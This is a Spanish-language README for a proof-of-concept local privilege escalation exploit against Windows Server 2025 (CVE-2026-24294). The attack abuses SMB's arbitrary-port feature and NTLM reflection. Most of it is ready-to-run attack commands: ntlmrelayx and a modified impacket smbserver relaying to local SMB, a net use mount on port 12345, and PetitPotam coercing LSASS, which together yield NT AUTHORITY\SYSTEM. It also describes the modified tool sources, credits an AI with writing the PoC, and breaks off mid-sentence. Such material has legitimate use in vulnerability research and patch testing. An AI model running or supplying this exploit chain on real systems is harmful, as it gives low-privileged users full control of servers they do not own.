
PoC de escalada de privilegios local para CVE-2026-24294, que abusa del puerto arbitrario de SMB y la reflexión NTLM para obtener SYSTEM en Windows Server 2025.
Escalada de privilegios local en Windows Server 2025 mediante reflexión NTLM, abusando de la función de puerto arbitrario SMB introducida en Windows 11 24H2 / Server 2025.
Windows 11 24H2 / Server 2025 introdujo una función del cliente SMB que permite conexiones en puertos TCP arbitrarios (net use \\host\share /tcpport:PORT). Combinado con la multiplexación de sesiones SMB (MS-SMB2 Sección 3.2.4.2), esto permite la reflexión NTLM local: un usuario con bajos privilegios puede coaccionar a un servicio privilegiado (LSASS) para que se autentique contra un servidor SMB controlado por el atacante en un puerto no estándar, y luego retransmitir la autenticación NTLM capturada de vuelta al servicio SMB real en el puerto 445.
Impacto: NT AUTHORITY\SYSTEM desde cualquier usuario local.
Afectados: Windows Server 2025 (configuración predeterminada). Windows 11 24H2 aplica la firma SMB, bloqueando la retransmisión.
LSASS (SYSTEM) ──NTLM──► Cliente SMB ──TCP:12345──► smbserver.py (nuestro)
│
▼ retransmite blob NTLM
Servicio SMB (:445) ◄────────────────── ntlmrelayx.py
← sesión SYSTEM
net use abre una conexión TCP a nuestro servidor SMB en un puerto personalizado\\127.0.0.1\shareAbra 3 terminales.
Terminal 1 — Inicie ntlmrelayx (escucha en el puerto RAW 6666, retransmite a SMB localhost):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
Terminal 2 — Inicie el smbserver modificado (escucha en el puerto 12345, retransmite NTLM al puerto 6666):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
Terminal 3 — Ejecute el exploit:
:: Montar recurso compartido en puerto personalizado (abre conexión TCP persistente)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: Coaccionar a LSASS para que se autentique contra nuestro servidor SMB
PetitPotam.exe 127.0.0.1 localhost 2
La salida de whoami de ntlmrelayx mostrará NT AUTHORITY\SYSTEM.
PetitPotam/ — Código fuente de PetitPotam modificado. Dos cambios respecto al original:
df1941c5-fe89-4e79-bf10-463657acf44d (interfaz EFSRPC de WS2025)\pipe\efsrpcEfsRpcEncryptFileSrv), nombre del recurso compartido fijado como testsmbserver.py — smbserver de impacket modificado con la bandera -relay-port. Intercepta SMB2 SESSION_SETUP para capturar una segunda autenticación NTLM en una conexión multiplexada y retransmitirla a un servidor de retransmisión RAW (ntlmrelayx --raw-port).Este PoC fue escrito principalmente por IA (GLM 5.1) basándose en la investigación y las técnicas descritas en: